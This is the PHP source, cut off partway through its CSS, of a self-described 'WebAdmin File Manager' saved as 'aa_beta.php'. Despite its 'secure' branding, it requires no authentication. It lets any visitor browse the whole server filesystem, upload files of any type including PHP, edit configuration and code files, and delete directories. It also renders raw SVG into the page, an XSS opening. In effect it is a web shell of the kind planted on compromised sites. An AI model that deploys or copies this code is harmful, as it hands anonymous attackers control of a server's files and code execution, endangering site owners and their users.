đī¸ Viewing: aa_beta.php
<?php
/**
* ============================================
* WebAdmin File Manager v2.0
* ============================================
* Secure File Management System
* Features: Upload, Download, Edit, View, Create, Rename, Delete
*
* @package WebAdminFileManager
* @version 2.0.0
* @author System Administrator
* @license Proprietary
* ============================================
*/
// Prevent direct access to this file from external sources
if (!defined('WEB_ADMIN_FM')) {
define('WEB_ADMIN_FM', true);
}
// ==========================================
// Configuration Settings
// ==========================================
$appConfig = [
'app_name' => 'WebAdmin FileManager',
'version' => '2.0.0',
'session_lifetime' => 7200, // 2 hours
'debug_mode' => false,
'root_directory' => __DIR__,
'allowed_exts' => [], // Empty array = allow all extensions
'max_file_size' => 1073741824, // 1GB in bytes
'editable_exts' => [
'txt', 'log', 'md', 'csv', 'json', 'xml', 'yaml', 'yml',
'php', 'phtml', 'html', 'htm', 'xhtml', 'css', 'scss',
'js', 'jsx', 'ts', 'tsx', 'vue', 'svelte',
'py', 'rb', 'pl', 'sh', 'bash',
'c', 'cpp', 'h', 'hpp', 'java', 'cs', 'go', 'rs',
'sql', 'env', 'conf', 'cfg', 'ini',
'htaccess', 'gitignore', 'dockerfile', 'makefile'
],
'image_exts' => [
'jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg', 'ico'
],
'code_exts' => [
'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'sql',
'py', 'rb', 'sh', 'yaml', 'yml', 'md', 'c', 'cpp', 'java',
'go', 'rs', 'ts', 'vue', 'jsx', 'tsx', 'scss', 'sass'
],
'special_filenames' => [
'.htaccess', '.env', '.gitignore', 'dockerfile', 'makefile',
'.editorconfig', '.bashrc', '.bash_profile', '.zshrc', '.profile',
'composer.json', 'package.json', 'webpack.config.js'
]
];
// ==========================================
// PHP Environment Setup
// ==========================================
set_time_limit(300);
ini_set('upload_max_filesize', '512M');
ini_set('post_max_size', '600M');
ini_set('memory_limit', '256M');
// Directory separator constant
if (!defined('DIRECTORY_SEPARATOR')) {
define('DS', '/');
} else {
define('DS', DIRECTORY_SEPARATOR);
}
// ==========================================
// Session Management
// ==========================================
if (session_status() === PHP_SESSION_NONE) {
$cookieOptions = [
'lifetime' => $appConfig['session_lifetime'],
'path' => '/',
'secure' => isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off',
'httponly' => true,
'samesite' => 'Strict'
];
session_set_cookie_params($cookieOptions);
session_start();
}
// Generate CSRF token if not exists
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
$csrfToken = $_SESSION['csrf_token'];
// ==========================================
// Error Reporting Configuration
// ==========================================
if ($appConfig['debug_mode'] === true) {
error_reporting(E_ALL);
ini_set('display_errors', '1');
} else {
error_reporting(0);
ini_set('display_errors', '0');
}
// ==========================================
// Utility Functions
// ==========================================
/**
* Sanitize string for safe output
*/
function escapeOutput($string) {
if (is_array($string)) {
return array_map('escapeOutput', $string);
}
return htmlspecialchars((string)$string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
/**
* Get file extension in lowercase
*/
function getFileExtension($filename) {
return strtolower(pathinfo($filename, PATHINFO_EXTENSION));
}
/**
* Check if file is editable based on extension
*/
function isEditableFile($filename) {
global $appConfig;
$extension = getFileExtension($filename);
$basename = strtolower(basename($filename));
if (in_array($extension, $appConfig['editable_exts'])) {
return true;
}
if (in_array($basename, $appConfig['special_filenames'])) {
return true;
}
return false;
}
/**
* Check if file is an image
*/
function isImageFile($filename) {
global $appConfig;
return in_array(getFileExtension($filename), $appConfig['image_exts']);
}
/**
* Check if file is a code file (for syntax display)
*/
function isCodeFile($filename) {
global $appConfig;
return in_array(getFileExtension($filename), $appConfig['code_exts']);
}
/**
* Format bytes to human readable format
*/
function formatFileSize($bytes) {
if ($bytes === false || $bytes < 0) {
return 'N/A';
}
if ($bytes === 0) {
return '0 B';
}
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$exponent = floor(log($bytes, 1024));
$value = $bytes / pow(1024, $exponent);
return round($value, 2) . ' ' . $units[$exponent];
}
/**
* Get file permissions string
*/
function getFilePermissions($filepath) {
if (!file_exists($filepath)) {
return '----------';
}
$permissions = fileperms($filepath);
if ($permissions === false) {
return '----------';
}
$type = '-';
if (($permissions & 0xC000) === 0xC000) {
$type = 's'; // Socket
} elseif (($permissions & 0xA000) === 0xA000) {
$type = 'l'; // Symbolic link
} elseif (($permissions & 0x6000) === 0x6000) {
$type = 'b'; // Block special
} elseif (($permissions & 0x4000) === 0x4000) {
$type = 'd'; // Directory
}
$result = $type;
$result .= ($permissions & 00400) ? 'r' : '-';
$result .= ($permissions & 00200) ? 'w' : '-';
$result .= ($permissions & 00100) ? 'x' : '-';
$result .= ($permissions & 00040) ? 'r' : '-';
$result .= ($permissions & 00020) ? 'w' : '-';
$result .= ($permissions & 00010) ? 'x' : '-';
$result .= ($permissions & 00004) ? 'r' : '-';
$result .= ($permissions & 00002) ? 'w' : '-';
$result .= ($permissions & 00001) ? 'x' : '-';
return $result;
}
/**
* Get file owner and group
*/
function getFileOwner($filepath) {
if (function_exists('posix_getpwuid') && function_exists('posix_getgrgid')) {
$ownerInfo = posix_getpwuid(fileowner($filepath));
$groupInfo = posix_getgrgid(filegroup($filepath));
$owner = isset($ownerInfo['name']) ? $ownerInfo['name'] : 'unknown';
$group = isset($groupInfo['name']) ? $groupInfo['name'] : 'unknown';
return $owner . ':' . $group;
}
return 'N/A';
}
/**
* Get MIME type of file
*/
function getMimeType($filepath) {
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if ($finfo !== false) {
$mime = finfo_file($finfo, $filepath);
finfo_close($finfo);
if ($mime !== false) {
return $mime;
}
}
}
if (function_exists('mime_content_type')) {
$mime = mime_content_type($filepath);
if ($mime !== false) {
return $mime;
}
}
return 'application/octet-stream';
}
/**
* Check if content is binary
*/
function isBinaryContent($content) {
if (empty($content)) {
return false;
}
return preg_match('/[\x00-\x08\x0B\x0C\x0E-\x1F]/', substr($content, 0, 8192)) > 0;
}
/**
* Verify CSRF token
*/
function verifyCsrfToken($token) {
if (empty($token) || empty($_SESSION['csrf_token'])) {
return false;
}
return hash_equals($_SESSION['csrf_token'], $token);
}
/**
* Delete directory recursively
*/
function removeDirectory($dirPath) {
if (!is_dir($dirPath)) {
return unlink($dirPath);
}
$items = scandir($dirPath);
if ($items === false) {
return false;
}
$result = true;
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$itemPath = $dirPath . DS . $item;
if (is_dir($itemPath)) {
$result = removeDirectory($itemPath) && $result;
} else {
$result = unlink($itemPath) && $result;
}
}
return rmdir($dirPath) && $result;
}
/**
* Send file for download
*/
function sendFileDownload($filepath, $filename) {
if (!file_exists($filepath) || !is_readable($filepath)) {
return false;
}
$mimeType = getMimeType($filepath);
$fileSize = filesize($filepath);
// Clean output buffer
while (ob_get_level() > 0) {
ob_end_clean();
}
// Set download headers
header('Content-Description: File Transfer');
header('Content-Type: ' . $mimeType);
header('Content-Disposition: attachment; filename="' . addslashes($filename) . '"');
header('Content-Transfer-Encoding: binary');
header('Content-Length: ' . $fileSize);
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
// Stream file content
$handle = fopen($filepath, 'rb');
if ($handle === false) {
return false;
}
while (!feof($handle)) {
echo fread($handle, 65536);
flush();
}
fclose($handle);
return true;
}
/**
* Get icon for file type
*/
function getFileIcon($filename) {
$ext = getFileExtension($filename);
$iconMap = [
'php' => 'đ', 'phtml' => 'đ',
'html' => 'đ', 'htm' => 'đ',
'css' => 'đ¨', 'scss' => 'đ¨', 'sass' => 'đ¨',
'js' => 'đ', 'jsx' => 'âī¸', 'ts' => 'đ', 'tsx' => 'âī¸',
'json' => 'đ', 'xml' => 'đ', 'yaml' => 'đ', 'yml' => 'đ',
'py' => 'đ', 'rb' => 'đ', 'java' => 'â',
'go' => 'đĩ', 'rs' => 'đĻ',
'c' => 'âī¸', 'cpp' => 'âī¸', 'h' => 'âī¸',
'sql' => 'đī¸', 'db' => 'đī¸', 'sqlite' => 'đī¸',
'md' => 'đ', 'txt' => 'đ', 'log' => 'đ',
'jpg' => 'đŧī¸', 'jpeg' => 'đŧī¸', 'png' => 'đŧī¸',
'gif' => 'đŧī¸', 'webp' => 'đŧī¸', 'svg' => 'đŧī¸', 'ico' => 'đŧī¸',
'mp4' => 'đŦ', 'avi' => 'đŦ', 'mkv' => 'đŦ', 'mov' => 'đŦ',
'mp3' => 'đĩ', 'wav' => 'đĩ', 'ogg' => 'đĩ',
'pdf' => 'đ', 'doc' => 'đ', 'docx' => 'đ',
'xls' => 'đ', 'xlsx' => 'đ', 'csv' => 'đ',
'zip' => 'đĻ', 'rar' => 'đĻ', 'tar' => 'đĻ', 'gz' => 'đĻ',
'env' => 'đ', 'htaccess' => 'đ', 'conf' => 'âī¸', 'ini' => 'âī¸',
'sh' => 'đģ', 'bash' => 'đģ',
'dockerfile' => 'đŗ', 'gitignore' => 'đĻ',
];
return isset($iconMap[$ext]) ? $iconMap[$ext] : 'đ';
}
/**
* Build breadcrumb navigation HTML
*/
function buildBreadcrumbs($path, $token) {
$parts = explode(DS, $path);
$html = '<nav class="breadcrumb-nav">';
$html .= '<a href="?cd=' . urlencode(DS) . '&token=' . $token . '" class="breadcrumb-root">/ Root</a>';
$currentPath = '';
$partCount = count($parts);
$startIndex = 0;
// Handle Windows drive letters
if (!empty($parts[0]) && preg_match('/^[A-Za-z]:$/', $parts[0])) {
$currentPath = $parts[0];
$html .= ' <span class="breadcrumb-sep">/</span> ';
$html .= '<a href="?cd=' . urlencode($currentPath) . '&token=' . $token . '" class="breadcrumb-link">' . escapeOutput($parts[0]) . '</a>';
$startIndex = 1;
} else {
$startIndex = 1; // Skip empty first element for Unix paths
}
for ($i = $startIndex; $i < $partCount; $i++) {
if (empty($parts[$i])) {
continue;
}
$currentPath .= DS . $parts[$i];
$html .= ' <span class="breadcrumb-sep">/</span> ';
if ($i === $partCount - 1) {
$html .= '<span class="breadcrumb-current">' . escapeOutput($parts[$i]) . '</span>';
} else {
$html .= '<a href="?cd=' . urlencode($currentPath) . '&token=' . $token . '" class="breadcrumb-link">' . escapeOutput($parts[$i]) . '</a>';
}
}
$html .= '</nav>';
return $html;
}
// ==========================================
// Initialize Variables
// ==========================================
$scriptName = basename($_SERVER['PHP_SELF']);
$statusMessage = '';
$statusType = 'info';
$viewContent = '';
$editContent = '';
$editFilename = '';
$currentAction = '';
// ==========================================
// Determine Current Directory
// ==========================================
$activeDir = realpath($appConfig['root_directory']);
if ($activeDir === false) {
$activeDir = realpath(dirname(__FILE__));
}
if ($activeDir === false) {
$activeDir = DS;
}
// Handle directory navigation
if (isset($_GET['cd']) && is_string($_GET['cd']) && !empty($_GET['cd'])) {
$requestedDir = $_GET['cd'];
$realRequestedDir = realpath($requestedDir);
if ($realRequestedDir !== false && is_dir($realRequestedDir)) {
$activeDir = $realRequestedDir;
}
} elseif (isset($_SESSION['active_directory']) && is_dir($_SESSION['active_directory'])) {
$activeDir = realpath($_SESSION['active_directory']);
if ($activeDir === false) {
$activeDir = DS;
}
}
$_SESSION['active_directory'] = $activeDir;
$parentDir = dirname($activeDir);
$hasParentDir = ($parentDir !== $activeDir && $parentDir !== false);
// ==========================================
// Process POST Requests
// ==========================================
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$isTokenValid = isset($_POST['csrf_token']) && verifyCsrfToken($_POST['csrf_token']);
if (!$isTokenValid) {
$statusMessage = 'Security validation failed. Please refresh the page and try again.';
$statusType = 'error';
} else {
// Handle File Upload
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['upload_file'];
$originalName = basename($uploadedFile['name']);
$fileExtension = getFileExtension($originalName);
$destinationPath = $activeDir . DS . $originalName;
// Validate extension
$isExtensionAllowed = empty($appConfig['allowed_exts']) || in_array($fileExtension, $appConfig['allowed_exts']);
if (!$isExtensionAllowed) {
$statusMessage = 'File type ".' . $fileExtension . '" is not permitted.';
$statusType = 'error';
} elseif ($uploadedFile['size'] > $appConfig['max_file_size']) {
$statusMessage = 'File exceeds maximum allowed size (' . formatFileSize($appConfig['max_file_size']) . ').';
$statusType = 'error';
} else {
$uploadSuccess = move_uploaded_file($uploadedFile['tmp_name'], $destinationPath);
if ($uploadSuccess) {
chmod($destinationPath, 0644);
$statusMessage = 'File "' . $originalName . '" uploaded successfully.';
$statusType = 'success';
} else {
$statusMessage = 'Failed to upload file. Please check directory permissions.';
$statusType = 'error';
}
}
}
// Handle Create Directory
if (isset($_POST['new_folder_name']) && is_string($_POST['new_folder_name'])) {
$folderName = trim($_POST['new_folder_name']);
$folderName = basename($folderName);
if (empty($folderName)) {
$statusMessage = 'Folder name cannot be empty.';
$statusType = 'error';
} else {
$newFolderPath = $activeDir . DS . $folderName;
if (file_exists($newFolderPath)) {
$statusMessage = 'Folder "' . $folderName . '" already exists.';
$statusType = 'error';
} elseif (mkdir($newFolderPath, 0755, true)) {
chmod($newFolderPath, 0755);
$statusMessage = 'Folder "' . $folderName . '" created successfully.';
$statusType = 'success';
} else {
$statusMessage = 'Failed to create folder. Check permissions.';
$statusType = 'error';
}
}
}
// Handle Create File
if (isset($_POST['new_file_name']) && is_string($_POST['new_file_name'])) {
$fileName = trim($_POST['new_file_name']);
$fileName = basename($fileName);
if (empty($fileName)) {
$statusMessage = 'File name cannot be empty.';
$statusType = 'error';
} else {
$newFilePath = $activeDir . DS . $fileName;
if (file_exists($newFilePath)) {
$statusMessage = 'File "' . $fileName . '" already exists.';
$statusType = 'error';
} else {
$fileHandle = fopen($newFilePath, 'w');
if ($fileHandle !== false) {
fclose($fileHandle);
chmod($newFilePath, 0644);
$statusMessage = 'File "' . $fileName . '" created successfully.';
$statusType = 'success';
} else {
$statusMessage = 'Failed to create file. Check permissions.';
$statusType = 'error';
}
}
}
}
// Handle Rename
if (isset($_POST['original_name'], $_POST['new_name']) && is_string($_POST['original_name']) && is_string($_POST['new_name'])) {
$originalName = basename(trim($_POST['original_name']));
$newName = basename(trim($_POST['new_name']));
if (empty($originalName) || empty($newName)) {
$statusMessage = 'File names cannot be empty.';
$statusType = 'error';
} elseif ($originalName === $newName) {
$statusMessage = 'New name is the same as the original.';
$statusType = 'error';
} else {
$originalPath = $activeDir . DS . $originalName;
$newPath = $activeDir . DS . $newName;
if (!file_exists($originalPath)) {
$statusMessage = 'Item "' . $originalName . '" not found.';
$statusType = 'error';
} elseif (file_exists($newPath)) {
$statusMessage = 'An item named "' . $newName . '" already exists.';
$statusType = 'error';
} elseif (rename($originalPath, $newPath)) {
$statusMessage = 'Renamed "' . $originalName . '" to "' . $newName . '".';
$statusType = 'success';
} else {
$statusMessage = 'Rename failed. Check permissions.';
$statusType = 'error';
}
}
}
// Handle Save Edit
if (isset($_POST['save_file_content'], $_POST['file_content'], $_POST['editing_filename'])) {
$editingFilename = basename(trim($_POST['editing_filename']));
$fileContent = $_POST['file_content'];
$editingPath = $activeDir . DS . $editingFilename;
if (!file_exists($editingPath)) {
$statusMessage = 'File "' . $editingFilename . '" not found.';
$statusType = 'error';
} elseif (!is_writable($editingPath)) {
$statusMessage = 'File "' . $editingFilename . '" is not writable.';
$statusType = 'error';
} else {
// Decode HTML entities that were encoded for display
$decodedContent = html_entity_decode($fileContent, ENT_QUOTES | ENT_HTML5, 'UTF-8');
$bytesWritten = file_put_contents($editingPath, $decodedContent);
if ($bytesWritten !== false) {
$statusMessage = 'File "' . $editingFilename . '" saved successfully (' . formatFileSize($bytesWritten) . ').';
$statusType = 'success';
} else {
$statusMessage = 'Failed to save file. Check disk space and permissions.';
$statusType = 'error';
}
}
}
}
}
// ==========================================
// Process GET Requests
// ==========================================
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
// Handle Delete Action
if (isset($_GET['delete'], $_GET['token'])) {
if (verifyCsrfToken($_GET['token'])) {
$deleteTarget = basename($_GET['delete']);
$deletePath = $activeDir . DS . $deleteTarget;
if (!file_exists($deletePath)) {
$statusMessage = 'Item "' . $deleteTarget . '" not found.';
$statusType = 'error';
} else {
$deleteSuccess = is_dir($deletePath) ? removeDirectory($deletePath) : unlink($deletePath);
if ($deleteSuccess) {
$statusMessage = '"' . $deleteTarget . '" deleted successfully.';
$statusType = 'success';
} else {
$statusMessage = 'Failed to delete "' . $deleteTarget . '". Check permissions.';
$statusType = 'error';
}
}
} else {
$statusMessage = 'Invalid security token.';
$statusType = 'error';
}
}
// Handle Download Action
if (isset($_GET['download'], $_GET['token'])) {
if (verifyCsrfToken($_GET['token'])) {
$downloadFilename = basename($_GET['download']);
$downloadPath = $activeDir . DS . $downloadFilename;
if (file_exists($downloadPath) && is_file($downloadPath) && is_readable($downloadPath)) {
sendFileDownload($downloadPath, $downloadFilename);
exit;
} else {
$statusMessage = 'File "' . $downloadFilename . '" not found or not readable.';
$statusType = 'error';
}
} else {
$statusMessage = 'Invalid security token.';
$statusType = 'error';
}
}
// Handle View Action
if (isset($_GET['view'])) {
$viewFilename = basename($_GET['view']);
$viewPath = $activeDir . DS . $viewFilename;
$currentAction = 'view';
if (!file_exists($viewPath)) {
$viewContent = '<div class="alert alert-error">File not found.</div>';
} elseif (!is_readable($viewPath)) {
$viewContent = '<div class="alert alert-error">Permission denied: Cannot read this file.</div>';
} else {
$fileMime = getMimeType($viewPath);
$fileExt = getFileExtension($viewFilename);
// Display images
if (isImageFile($viewFilename)) {
if ($fileExt === 'svg') {
$svgData = file_get_contents($viewPath);
$viewContent = '<div class="image-preview">' . $svgData . '</div>';
} else {
$imageData = base64_encode(file_get_contents($viewPath));
$viewContent = '<div class="image-preview"><img src="data:' . $fileMime . ';base64,' . $imageData . '" alt="' . escapeOutput($viewFilename) . '"></div>';
}
}
// Display PDF
elseif ($fileMime === 'application/pdf') {
$pdfData = base64_encode(file_get_contents($viewPath));
$viewContent = '<div class="pdf-preview"><embed src="data:application/pdf;base64,' . $pdfData . '" type="application/pdf" width="100%" height="600px"></div>';
$viewContent .= '<p style="text-align:center; margin-top:15px;"><a href="?download=' . urlencode($viewFilename) . '&token=' . $csrfToken . '" class="btn btn-primary">Download PDF</a></p>';
}
// Display video
elseif (strpos($fileMime, 'video/') === 0) {
$videoData = base64_encode(file_get_contents($viewPath));
$viewContent = '<div class="media-preview"><video controls style="max-width:100%;"><source src="data:' . $fileMime . ';base64,' . $videoData . '" type="' . $fileMime . '"></video></div>';
}
// Display audio
elseif (strpos($fileMime, 'audio/') === 0) {
$audioData = base64_encode(file_get_contents($viewPath));
$viewContent = '<div class="media-preview"><audio controls style="width:100%;"><source src="data:' . $fileMime . ';base64,' . $audioData . '" type="' . $fileMime . '"></audio></div>';
}
// Display text/code files
else {
$textContent = file_get_contents($viewPath);
if ($textContent === false) {
$viewContent = '<div class="alert alert-error">Unable to read file content.</div>';
} elseif (isBinaryContent($textContent)) {
$viewContent = '<div class="alert alert-warning">This is a binary file and cannot be displayed as text.</div>';
$viewContent .= '<p style="text-align:center; margin-top:15px;"><a href="?download=' . urlencode($viewFilename) . '&token=' . $csrfToken . '" class="btn btn-primary">Download File</a></p>';
} else {
$lineCount = substr_count($textContent, "\n") + 1;
$fileSize = filesize($viewPath);
if (isCodeFile($viewFilename)) {
$viewContent = '<pre class="code-display"><code>' . escapeOutput($textContent) . '</code></pre>';
} else {
$viewContent = '<pre class="text-display">' . escapeOutput($textContent) . '</pre>';
}
$viewContent .= '<div class="file-meta-bar">';
$viewContent .= '<span>Size: ' . formatFileSize($fileSize) . '</span>';
$viewContent .= '<span>Type: ' . $fileMime . '</span>';
$viewContent .= '<span>Lines: ' . $lineCount . '</span>';
$viewContent .= '</div>';
}
}
}
}
// Handle Edit Action
if (isset($_GET['edit'])) {
$editFilename = basename($_GET['edit']);
$editPath = $activeDir . DS . $editFilename;
$currentAction = 'edit';
if (!file_exists($editPath)) {
$statusMessage = 'File "' . $editFilename . '" not found.';
$statusType = 'error';
} elseif (!is_readable($editPath)) {
$statusMessage = 'Cannot read file "' . $editFilename . '". Permission denied.';
$statusType = 'error';
} elseif (!is_writable($editPath)) {
$statusMessage = 'File "' . $editFilename . '" is read-only.';
$statusType = 'error';
} else {
$fileContent = file_get_contents($editPath);
if ($fileContent === false) {
$statusMessage = 'Unable to read file content.';
$statusType = 'error';
} elseif (isBinaryContent($fileContent)) {
$statusMessage = 'Binary files cannot be edited as text.';
$statusType = 'error';
} else {
$editContent = $fileContent;
}
}
}
// Handle action parameter
if (isset($_GET['action'])) {
$currentAction = $_GET['action'];
}
}
// ==========================================
// Get Directory Listing
// ==========================================
$directoryItems = [];
$directoryListing = scandir($activeDir);
if ($directoryListing !== false) {
foreach ($directoryListing as $itemName) {
if ($itemName === '.' || $itemName === '..') {
continue;
}
$itemPath = $activeDir . DS . $itemName;
$itemInfo = [
'name' => $itemName,
'path' => $itemPath,
'is_dir' => is_dir($itemPath),
'size' => is_file($itemPath) ? filesize($itemPath) : false,
'perms' => getFilePermissions($itemPath),
'owner' => getFileOwner($itemPath),
'mtime' => filemtime($itemPath),
'ext' => getFileExtension($itemName),
'icon' => is_dir($itemPath) ? 'đ' : getFileIcon($itemName),
'editable' => !is_dir($itemPath) && isEditableFile($itemName),
'is_image' => isImageFile($itemName),
];
$directoryItems[] = $itemInfo;
}
// Sort: directories first, then files, both alphabetically
usort($directoryItems, function($a, $b) {
if ($a['is_dir'] && !$b['is_dir']) return -1;
if (!$a['is_dir'] && $b['is_dir']) return 1;
return strcasecmp($a['name'], $b['name']);
});
}
// ==========================================
// HTML Output
// ==========================================
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="robots" content="noindex, nofollow">
<title><?php echo escapeOutput($appConfig['app_name']); ?></title>
<style>
:root {
--color-primary: #2563eb;
--color-primary-dark: #1d4ed8;
--color-primary-light: #dbeafe;
--color-bg: #f1f5f9;
--color-card: #ffffff;
--color-text: #1e293b;
--color-text-muted: #64748b;
--color-border: #e2e8f0;
--color-danger: #ef4444;
--color-danger-dark: #dc2626;
--color-success: #10b981;
--color-success-dark: #059669;
--color-warning: #f59e0b;
--color-info: #0ea5e9;
--color-code-bg: #1e293b;
--color-code-text: #e2e8f0;
}
* { box-sizing: border-box; margin: 0; padding: 0; }
body {
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
background: var(--color-bg);
color: var(--color-text);
line-height: 1.6;
padding: 20px;
}
.app-container {
max-width: 1200px;
margin: 0 auto;
background: var(--color-card);
border-radius: 12px;
box-shadow: 0 4px 24px rgba(0, 0, 0, 0.08);
overflow: hidden;
}
.app-header {
background: linear-gradient(135deg, var(--color-primary) 0%, #1e40af 100%);
color: #fff;
padding: 20px 24px;
display: flex;
justify-content: space-between;
align-items: center;
}
.app-header h1 { font-size: 1.4rem; font-weight: 600; }
.app-header .header-info { font-size: 0.8rem; opacity: 0.9; text-align: right; }
.toolbar {
padding: 14px 20px;
background: #f8fafc;
border-bottom: 1px solid var(--color-border);
display: flex;
align-items: center;
justify-content: space-between;
flex-wrap: wrap;
gap: 12px;
}
.breadcrumb-nav {
font-size: 0.85rem;
color: var(--color-text-muted);
overflow-x: auto;
white-space: nowrap;
flex: 1;
min-width: 200px;
}
.breadcrumb-root,
.breadcrumb-link { color: var(--color-primary); text-decoration: none; font-weight: 500; }
.breadcrumb-root:hover,
.breadcrumb-link:hover { text-decoration: underline; }
.breadcrumb-current { color: var(--color-text); font-weight: 700; }
.breadcrumb-sep { margin: 0 4px; color: #94a3b8; }
.toolbar-actions { display: flex; gap: 8px; flex-wrap: wrap; }
.btn {
display: inline-flex;
align-items: center;
gap: 6px;
padding: 8px 16px;
border: none;
border-radius: 6px;
font-size: 0.85rem;
font-weight: 500;
cursor: pointer;
text-decoration: none;
white-space: nowrap;
transition: all 0.2s ease;
}
.btn-primary { background: var(--color-primary); color: #fff; }
.btn-primary:hover { background: var(--color-primary-dark); }
.btn-secondary { background: #fff; color: var(--color-text); border: 1px solid var(--color-border); }
.btn-secondary:hover { background: #f1f5f9; }
.btn-danger { background: var(--color-danger); color: #fff; }
.btn-danger:hover { background: var(--color-danger-dark); }
.btn-success { background: var(--color-success); color: #fff; }
.btn-success:hover { background: var(--color-success-dark); }
.btn-sm { padding: 5px 12px; font-size: 0.8rem; }
.main-content { padding: 20px; }
/* Status Messages */
.status-message {
padding: 14px 18px;
border-radius: 8px;
margin-bottom: 20px;
font-size: 0.9rem;
animation: fadeIn 0.3s ease;
}
.status-success { background: #d1fae5; border-left: 4px solid var(--color-success); color: #065f46; }
.status-error { background: #fee2e2; border-left: 4px solid var(--color-danger); color: #991b1b; }
.status-warning { background: #fef3c7; border-left: 4px solid var(--color-warning); color: #92400e; }
.status-info { background: #dbeafe; border-left: 4px solid var(--color-info); color: #1e40af; }
@keyframes fadeIn {
from { opacity: 0; transform: translateY(-10px); }
to { opacity: 1; transform: translateY(0); }
}
/* File Table */
.file-list-table {
width: 100%;
border-collapse: collapse;
font-size: 0.85rem;
}
.file-list-table thead th {
text-align: left;
padding: 12px 14px;
background: #f8fafc;
border-bottom: 2px solid var(--color-border);
color: var(--color-text-muted);
font-weight: 600;
font-size: 0.78rem;
text-transform: uppercase;
letter-spacing: 0.5px;
}
.file-list-table tbody td {
padding: 12px 14px;
border-bottom: 1px solid var(--color-border);
vertical-align: middle;
}
.file-list-table tbody tr:hover { background: #f8fafc; }
.file-name-cell a {
color: var(--color-text);
text-decoration: none;
font-weight: 500;
display: inline-flex;
align-items: center;
gap: 10px;
}
.file-name-cell a:hover { color: var(--color-primary); }
.file-icon { font-size: 1.3rem; flex-shrink: 0; }
.file-actions-cell { display: flex; gap: 6px; flex-wrap: wrap; }
.action-btn {
color: var(--color-text-muted);
font-size: 0.78rem;
text-decoration: none;
padding: 3px 10px;
border-radius: 4px;
transition: all 0.2s;
cursor: pointer;
background: none;
border: none;
font-family: inherit;
}
.action-btn:hover { background: var(--color-primary-light); color: var(--color-primary); }
.action-btn.delete-btn { color: var(--color-danger); }
.action-btn.delete-btn:hover { background: #fee2e2; }
.size-text { font-family: 'SF Mono', 'Consolas', monospace; font-size: 0.8rem; }
.perms-text { font-family: 'SF Mono', 'Consolas', monospace; font-size: 0.75rem; color: var(--color-text-muted); }
.owner-text { font-size: 0.75rem; color: var(--color-text-muted); }
.date-text { font-size: 0.8rem; color: var(--color-text-muted); }
/* Forms */
.form-panel {
background: #f8fafc;
border: 1px solid var(--color-border);
border-radius: 8px;
padding: 24px;
margin-bottom: 20px;
}
.form-panel h3 { margin-bottom: 16px; font-size: 1.1rem; }
.form-row {
display: flex;
gap: 12px;
align-items: center;
}
.form-input {
flex: 1;
padding: 10px 14px;
border: 1px solid var(--color-border);
border-radius: 6px;
font-size: 0.9rem;
font-family: inherit;
transition: border-color 0.2s;
}
.form-input:focus {
outline: none;
border-color: var(--color-primary);
box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.1);
}
/* Code/Text Display */
.code-display {
background: var(--color-code-bg);
color: var(--color-code-text);
padding: 20px;
border-radius: 8px;
overflow: auto;
font-family: 'SF Mono', 'Fira Code', 'Consolas', monospace;
font-size: 0.85rem;
line-height: 1.7;
max-height: 70vh;
white-space: pre-wrap;
word-wrap: break-word;
}
.text-display {
background: #fefce8;
color: var(--color-text);
padding: 20px;
border-radius: 8px;
border: 1px solid var(--color-border);
overflow: auto;
font-family: 'SF Mono', 'Consolas', monospace;
font-size: 0.9rem;
line-height: 1.6;
max-height: 70vh;
white-space: pre-wrap;
word-wrap: break-word;
}
.file-meta-bar {
display: flex;
gap: 24px;
padding: 12px 16px;
background: #f1f5f9;
border-radius: 6px;
margin-top: 12px;
font-size: 0.8rem;
color: var(--color-text-muted);
}
/* Editor */
.editor-textarea {
width: 100%;
min-height: 500px;
padding: 16px;
border: 1px solid var(--color-border);
border-radius: 8px;
font-family: 'SF Mono', 'Fira Code', 'Consolas', monospace;
font-size: 0.9rem;
line-height: 1.6;
resize: vertical;
tab-size: 4;
background: var(--color-code-bg);
color: var(--color-code-text);
}
.editor-textarea:focus {
outline: none;
border-color: var(--color-primary);
box-shadow: 0 0 0 3px rgba(37, 99, 235, 0.2);
}
.editor-footer {
display: flex;
justify-content: space-between;
align-items: center;
margin-top: 16px;
padding-top: 16px;
border-top: 1px solid var(--color-border);
}
/* Preview containers */
.image-preview {
text-align: center;
padding: 20px;
}
.image-preview img {
max-width: 100%;
max-height: 75vh;
border: 1px solid var(--color-border);
border-radius: 8px;
}
.media-preview {
text-align: center;
padding: 20px;
}
.pdf-preview {
margin-bottom: 16px;
}
/* Info Table */
.info-table {
width: 100%;
border-collapse: collapse;
}
.info-table td {
padding: 10px 14px;
border-bottom: 1px solid var(--color-border);
}
.info-table tr:nth-child(even) td { background: rgba(255, 255, 255, 0.5); }
.info-table .label-cell { font-weight: 600; width: 40%; }
/* Alerts */
.alert { padding: 16px; border-radius: 8px; margin-bottom: 16px; }
.alert-error { background: #fee2e2; color: #991b1b; border-left: 4px solid var(--color-danger); }
.alert-warning { background: #fef3c7; color: #92400e; border-left: 4px solid var(--color-warning); }
.alert-info { background: #dbeafe; color: #1e40af; border-left: 4px solid var(--color-info); }
/* Empty State */
.empty-directory {
text-align: center;
padding: 60px 20px;
color: var(--color-text-muted);
}
.empty-directory .empty-icon { font-size: 3rem; margin-bottom: 12px; }
.empty-directory p { font-size: 0.95rem; }
/* Modal */
.modal-overlay {
position: fixed;
top: 0;
left: 0;
width: 100%;
height: 100%;
background: rgba(0, 0, 0, 0.5);
z-index: 1000;
display: none;
align-items: center;
